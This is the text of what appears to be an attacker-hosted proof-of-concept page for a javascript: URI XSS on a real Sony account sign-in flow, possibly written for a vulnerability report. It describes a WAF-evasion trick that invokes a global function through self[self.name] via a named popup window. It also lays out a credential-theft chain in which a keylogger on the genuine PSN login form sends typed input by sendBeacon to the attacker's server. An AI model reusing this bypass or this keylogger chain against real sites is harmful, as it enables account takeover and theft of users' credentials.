⚠️ Attacker page — PoC javascript: URI XSS on my.account.sony.com
PoC 1 — minimal alert() proof. The victim clicks this button (the typical “Sign in with PlayStation”):
Opens the REAL Sony sign-in page with redirect_uri=javascript:…self[self.name](…).
This page names the new window alert (window.open(url, 'alert')), so when the victim clicks
Sony's own “Close” / “Cerrar” button, the real alert() fires in Sony's origin and shows
XSS_my.account.sony.com. The attacker page chooses which global function runs in the Sony window —
full JavaScript execution. (A literal alert( in the URL is blocked by the Akamai WAF; reading the
function name from self.name at runtime is not statically resolvable, so it passes.)
PoC 2 — full keylogger / credential capture (ATO chain). Same attack, weaponized payload:
This opens the REAL Sony sign-in page with redirect_uri=javascript:…addEventListener('input', …sendBeacon…)… (passes the Akamai WAF).
2. The Sony window shows the genuine parental-consent sign-in screen. When the victim clicks the page's own “Close” / “Cerrar” button, the XSS fires — PoC 1 pops the alert, PoC 2 silently installs a keylogger on the login form.
3. Everything the victim types into the real PSN login form arrives here live (sendBeacon → this server):